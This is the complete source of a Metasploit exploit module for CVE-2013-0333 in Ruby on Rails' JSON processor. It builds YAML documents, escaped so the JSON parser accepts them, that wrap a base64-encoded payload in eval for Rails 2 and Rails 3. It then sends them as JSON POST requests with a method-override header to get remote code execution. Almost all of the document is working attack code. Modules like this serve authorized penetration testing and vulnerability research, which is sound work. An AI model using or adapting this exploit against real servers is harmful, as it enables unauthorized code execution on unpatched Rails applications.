Ruby on Rails – JSON Processor YAML Deserialization Code Execution (Metasploit)
## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::CmdStagerTFTP include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'Ruby on Rails JSON Processor YAML Deserialization Code Execution', 'Description' => %q{ This module exploits a remote code execution vulnerability in the JSON request processor of the Ruby on Rails application framework. This vulnerability allows an attacker to instantiate a remote object, which in turn can be used to execute any ruby code remotely in the context of the application. This vulnerability is very similar to CVE-2013-0156. This module has been tested successfully on RoR 3.0.9, 3.0.19, and 2.3.15. The technique used by this module requires the target to be running a fairly recent version of Ruby 1.9 (since 2011 or so). Applications using Ruby 1.8 may still be exploitable using the init_with() method, but this has not been demonstrated. }, 'Author' => [ 'jjarmoc', # Initial module based on cve-2013-0156, testing help 'egypt', # Module 'lian', # Identified the RouteSet::NamedRouteCollection vector ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2013-0333'], ], 'Platform' => 'ruby', 'Arch' => ARCH_RUBY, 'Privileged' => false, 'Targets' => [ ['Automatic', {} ] ], 'DisclosureDate' => 'Jan 28 2013', 'DefaultOptions' => { "PrependFork" => true }, 'DefaultTarget' => 0)) register_options( [ Opt::RPORT(80), OptString.new('TARGETURI', [ true, 'The path to a vulnerable Ruby on Rails application', "/"]), OptString.new('HTTP_METHOD', [ true, 'The HTTP request method (GET, POST, PUT typically work)', "POST"]) ], self.class) end # # Create the YAML document that will be embedded into the JSON # def build_yaml_rails2 code = Rex::Text.encode_base64(payload.encoded) yaml = "--- !ruby/hash:ActionController::Routing::RouteSet::NamedRouteCollection\n" + "'#{Rex::Text.rand_text_alpha(rand(8)+1)}; " + "eval(%[#{code}].unpack(%[m0])[0]);' " + ": !ruby/object:ActionController::Routing::Route\n segments: []\n requirements:\n " + ":#{Rex::Text.rand_text_alpha(rand(8)+1)}:\n :#{Rex::Text.rand_text_alpha(rand(8)+1)}: " + ":#{Rex::Text.rand_text_alpha(rand(8)+1)}\n" yaml.gsub(':', '\u003a') end # # Create the YAML document that will be embedded into the JSON # def build_yaml_rails3 code = Rex::Text.encode_base64(payload.encoded) yaml = "--- !ruby/hash:ActionDispatch::Routing::RouteSet::NamedRouteCollection\n" + "'#{Rex::Text.rand_text_alpha(rand(8)+1)};eval(%[#{code}].unpack(%[m0])[0]);' " + ": !ruby/object:OpenStruct\n table:\n :defaults: {}\n" yaml.gsub(':', '\u003a') end def build_request(v) case v when 2; build_yaml_rails2 when 3; build_yaml_rails3 end end # # Send the actual request # def exploit [2, 3].each do |ver| print_status("Sending Railsv#{ver} request to #{rhost}:#{rport}...") send_request_cgi({ 'uri' => normalize_uri(target_uri.path), 'method' => datastore['HTTP_METHOD'], 'ctype' => 'application/json', 'headers' => { 'X-HTTP-Method-Override' => 'get' }, 'data' => build_request(ver) }, 25) handler end end end |